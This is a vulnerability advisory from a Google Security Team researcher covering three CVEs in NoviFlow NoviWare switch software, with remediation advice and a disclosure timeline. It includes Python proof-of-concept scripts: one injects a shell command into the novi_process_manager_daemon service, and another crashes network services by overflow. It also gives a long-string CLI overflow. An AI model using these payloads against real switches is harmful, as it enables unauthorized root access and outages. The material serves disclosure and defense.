NoviFlow NoviWare <= NW400.2.6 multiple vulnerabilities Introduction ========== NoviWare is a high-performance OpenFlow 1.3, 1.4 and 1.5 compliant switch software developed by NoviFlow and available for license to network equipment manufacturers. Multiple vulnerabilities were identified in the NoviWare software deployed on NoviSwitch devices. They could allow a remote attacker to gain privileged code execution on the switch (non-default configuration) or a low-privileged CLI user to execute code as root. CVEs ===== * CVE-2017-12784: remote code execution in novi_process_manager_daemon Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C) * CVE-2017-12785: cli breakout in novish Indicative CVSS v2 base score: 6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C) * CVE-2017-12786: remote code execution in noviengine and cliengine Indicative CVSS v2 base score: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C) Affected versions ============== NoviWare <= NW400.2.6 and devices where a vulnerable NoviWare version is deployed Author ====== François Goichon - Google Security Team CVE-2017-12784 ============== Remote code execution in novi_process_manager_daemon Summary ------------- The NoviWare switching software distribution is prone to two distinct bugs which could potentially allow a remote, unauthenticated attacker to gain privileged (root) code execution on the switch device. - A flaw when applying ACL changes requested from the CLI could expose the novi_process_manager_daemon network service - This network service is prone to command injection and a stack-based buffer overflow Reproduction ------------------ If TCP port 2020 is accepting connections from the network, the following python script can be used to ping yourself on vulnerable versions : --- from struct import pack import socket s = socket.socket() s.connect((<switch host>, 2020)) payload = pack("<I", 0xffffffff).ljust(0x24) + "ping <your ip>; echo\x00" s.sendall(pack("<II", 1, len(payload)+8)) s.sendall(payload) s.close() --- On vulnerable versions, the appliance will perform an ICMP request to the specified IP, which can be observed in network logs. Remediation ----------------- - Upgrade to NoviWare400 3.0 or later. - NoviFlow customers should have received instructions on how to get the latest release along with release notes. For more information, contact support@noviflow.com. CVE-2017-12785 ============== Cli breakout in novish Summary ------------- The NoviWare switching software distribution is prone to a buffer overflow and a command injection, allowing authenticated, low-privileged users to break out of the CLI and execute commands as root. Reproduction ------------------ Log in to the appliance via SSH and run the following command from the CLI: -- noviswitch# show log cli username AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -- If the appliance is vulnerable, the cli crashes and the session ends. Remediation ----------------- - Upgrade to NoviWare400 3.0 or later. - NoviFlow customers should have received instructions on how to get the latest release along with release notes. For more information, contact support@noviflow.com. CVE-2017-12786 ============== Remote code execution in noviengine and cliengine Summary ------------- The NoviWare switching software distribution is prone to two distinct bugs which could potentially allow a remote, unauthenticated attacker to gain privileged (root) code execution on the switch device. - A flaw when applying ACL changes requested from the CLI could expose noviengine and cliengine network services - These network services are prone to a stack-based buffer overflow when unpacking serialized values. Reproduction ------------------ If TCP ports 9090 or 12345 are accepting connections from the network, the following python script can be used to cause a crash on vulnerable versions : --- from struct import pack import socket s = socket.socket() s.connect((<switch host>, <9090 or 12345>)) payload = "".join([pack("<I", 4) + "AAAA" for i in xrange(408)]) payload = pack("<IIQ", 0, len(payload) + 16, 0) + payload s.sendall(payload) s.read(1) s.close() --- A watchdog should restart the service if it has crashed. Remediation ----------------- - Upgrade to NoviWare400 3.0 or later. - NoviFlow customers should have received instructions on how to get the latest release along with release notes. For more information, contact support@noviflow.com. Disclosure timeline =============== 2017/05/11 - Report sent to NoviFlow 2017/05/26 - Bugs acknowledged and remediation timeline confirmed 2017/07/27 - NoviWare400 3.0 release fixes all the above vulnerabilities 2017/08/09 - CVE requests 2017/08/16 - Public disclosure